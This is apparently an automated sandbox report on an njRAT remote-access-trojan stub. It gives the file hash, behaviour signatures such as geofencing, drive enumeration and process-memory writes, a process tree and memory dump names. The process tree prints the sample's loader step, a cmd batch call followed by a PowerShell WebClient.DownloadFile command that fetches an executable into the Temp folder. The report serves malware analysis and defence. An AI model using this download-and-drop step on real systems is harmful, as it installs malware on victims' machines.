Analysis
- max time kernel
28s - max time network
47s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260911-en - resource tags
- submitted
30/09/2026, 01:40
General
- Target njRAT-All-Versions-master/Dangerous RAT/Kay/Stub.exe
- Size 15KB
- Sample260930-b3vmcsxekf
- SHA256 15ac5860a78b240b7063b95d2f701848162f21155baa9ec4d528c516bba25893
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\njRAT-All-Versions-master\Dangerous RAT\Kay\Stub.exe"C:\Users\Admin\AppData\Local\Temp\njRAT-All-Versions-master\Dangerous RAT\Kay\Stub.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\URL.bat" "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell (new-object System.Net.WebClient).DownloadFile('URL','C:\Users\Admin\AppData\Local\Temp\System.exe');3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
URL.bat
__PSScriptPolicyTest_yobmxgdr.xtk.ps1
memory/4168-27-0x0000000005BD0000-0x0000000005F27000-memory.dmp
memory/4168-19-0x0000000005B50000-0x0000000005BB6000-memory.dmp
memory/4168-31-0x0000000007310000-0x000000000732A000-memory.dmp
memory/4168-30-0x0000000007960000-0x0000000007FDA000-memory.dmp
memory/4168-29-0x0000000006240000-0x000000000628C000-memory.dmp
memory/4168-28-0x00000000061F0000-0x000000000620E000-memory.dmp
memory/4168-14-0x0000000004CC0000-0x0000000004CD0000-memory.dmp
memory/4168-15-0x0000000004B80000-0x0000000004BB6000-memory.dmp
memory/4168-16-0x00000000053A0000-0x0000000005A6A000-memory.dmp
memory/4168-17-0x0000000005370000-0x0000000005392000-memory.dmp
memory/4168-18-0x0000000005AE0000-0x0000000005B46000-memory.dmp
memory/4276-2-0x0000000005C80000-0x0000000006226000-memory.dmp
memory/4276-1-0x0000000005570000-0x000000000560C000-memory.dmp
memory/4276-0-0x0000000000C80000-0x0000000000C8C000-memory.dmp
memory/4276-3-0x0000000005610000-0x00000000056A2000-memory.dmp
memory/4276-6-0x0000000005840000-0x0000000005896000-memory.dmp
memory/4276-5-0x0000000005550000-0x000000000555A000-memory.dmp
memory/4276-4-0x0000000005830000-0x0000000005840000-memory.dmp